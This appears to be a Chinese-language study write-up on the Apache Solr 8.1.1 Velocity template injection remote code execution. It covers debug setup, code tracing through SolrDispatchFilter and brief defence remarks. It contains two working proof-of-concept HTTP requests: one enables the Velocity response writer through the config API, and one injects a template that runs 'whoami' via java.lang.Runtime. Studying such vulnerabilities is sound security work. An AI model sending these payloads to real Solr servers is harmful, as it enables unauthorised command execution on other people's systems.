Solr_Rce_Velocity学习

solr环境搭建

作者使用的是idea,solr 8.1.1,主要参考了这篇文章,以下是个人总结
先下载源码solr-8.1.1-src.zip
然后进入~\solr-8.1.1-src\ lucene\目录里
使用ant idea 如果报错 执行ant ivy-bootstrap
编译成功后 使用open project方式打开
然后进入到~\lucene\solr\目录下,执行ant server创建solr server
Solr的默认路径为~\lucene\solr\server\solr

然后,在idea配置远程调试。在“Run Configurations”里添加Remote,在配置中,自定义Name,Host,和Port。
我们在cmd中进入lucene-solr\solr\bin文件夹中,运行solr start -p 8988 -f -a “-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988”
配置的端口号(e.g. 8988)要与在idea中配置的端口号一致。
最后,在idea中运行debug模式。我们在网页中http://localhost:8988,则可以开始进行调试。

第一步:修改配置文件

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /solr/new_core/config HTTP/1.1
Host: localhost:8988
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

通过阅读Web.xml,我们发现所有的请求都会发到SolrRequestFilter,我们直接去读相关类的代码。

1
2
3
4
5
6
7
8
9
<filter>
<filter-name>SolrRequestFilter</filter-name>
<filter-class>org.apache.solr.servlet.SolrDispatchFilter<filter-class>
.....
<filter-mapping>
<filter-name>SolrRequestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
.....

org/apache/solr/servlet/SolrDispatchFilter.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void doFilter(ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry) throws IOException, ServletException {
...
try {
Action result = call.call();
switch (result) {
case PASSTHROUGH:
chain.doFilter(request, response);
break;
case RETRY:
doFilter(request, response, chain, true); // RECURSION
break;
case FORWARD:
request.getRequestDispatcher(call.getPath()).forward(request, response);
break;
case ADMIN:
case PROCESS:
case REMOTEQUERY:
case RETURN:
break;
}
} finally {
....

在call()方法里进行了一系列的调用实现里配置持久化,配置文件路径:~/solr-8.1.1-src/solr/server/solr/new_core/conf/configoverlay.json

第二步:velocity模版注入

POC

1
2
3
4
5
6
7
8
GET /solr/new_core/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8988
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close

整体的原理是wt参数获取模版类型,然后模版注入。这个老哥的图太牛逼了,直接上图。
flow
来源:http://www.lmxspace.com/2019/11/03/Solr-RCE-via-Velocity-template/

防御

如何去防御呢,我个人觉得可以分为
1.不让修改配置
2.过滤ssti注入
个人觉得都不是很好的方法,因为第一影响到了使用性,第二基于黑名单的过滤不是那么的可靠。